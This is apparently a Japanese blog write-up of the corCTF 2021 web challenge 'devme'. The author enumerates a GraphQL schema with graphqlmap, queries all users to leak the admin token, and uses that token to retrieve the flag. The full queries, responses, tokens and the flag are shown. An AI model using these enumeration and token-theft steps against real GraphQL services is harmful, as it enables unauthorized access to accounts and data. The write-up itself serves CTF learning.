kanyewest CTF

勉強したことをメモしています。

corCTF 2021: Write up

Web

devme

f:id:tekashi:20210821215321p:plain

特になにもないがメアドを送信してSign upできる部分がある。devtoolで見てみるとGraphQLを使ってることがわかる。

GraphQLわからなさすぎてとりあえずgraphqlmapつかってどういうテーブルがあるかを確認する。

% python3 graphqlmap.py -u https://devme.be.ax/graphql     [master]
   _____                 _      ____  _
  / ____|               | |    / __ \| |
 | |  __ _ __ __ _ _ __ | |__ | |  | | |     _ __ ___   __ _ _ __
 | | |_ | '__/ _` | '_ \| '_ \| |  | | |    | '_ ` _ \ / _` | '_ \
 | |__| | | | (_| | |_) | | | | |__| | |____| | | | | | (_| | |_) |
  \_____|_|  \__,_| .__/|_| |_|\___\_\______|_| |_| |_|\__,_| .__/
                  | |                                       | |
                  |_|                                       |_|
                              Author: @pentest_swissky Version: 1.0
GraphQLmap > dump_new
============= [SCHEMA] ===============
e.g: name[Type]: arg (Type!)

Query
        users[None]:
        flag[String]: token (String!),
Mutation
        createUser[]: email (String!),
User
        token[String]:
        username[String]:
__Schema
__Type
__Field
__InputValue
__EnumValue
__Directive
GraphQLmap >

admin権限ああるユーザのトークンを取得すればflagを取得できそう。

query {
  users {
    token
    username
  }
}

を投げると

{
  "data": {
    "users": [
      {
        "token": "3cd3a50e63b3cb0a69cfb7d9d4f0ebc1dc1b94143475535930fa3db6e687280b",
        "username": "admin"
      },
      {
        "token": "5568f87dc1ca15c578e6b825ffca7f685ac433c1826b075b499f68ea309e79a6",
        "username": "b82d9af8a6226c072bcd811e7a009ffb36b2ad88be67ac396d170fe8e2f1de7c"
.
.
.

adminのtokenを取得できた。

query {
  flag(
    token: "3cd3a50e63b3cb0a69cfb7d9d4f0ebc1dc1b94143475535930fa3db6e687280b"
  )
}

によって

{
  "data": {
    "flag": "corctf{ex_g00g13_3x_fac3b00k_t3ch_l3ad_as_a_s3rvice}"
  }
}

flagを取得できた。

flag: corctf{ex_g00g13_3x_fac3b00k_t3ch_l3ad_as_a_s3rvice}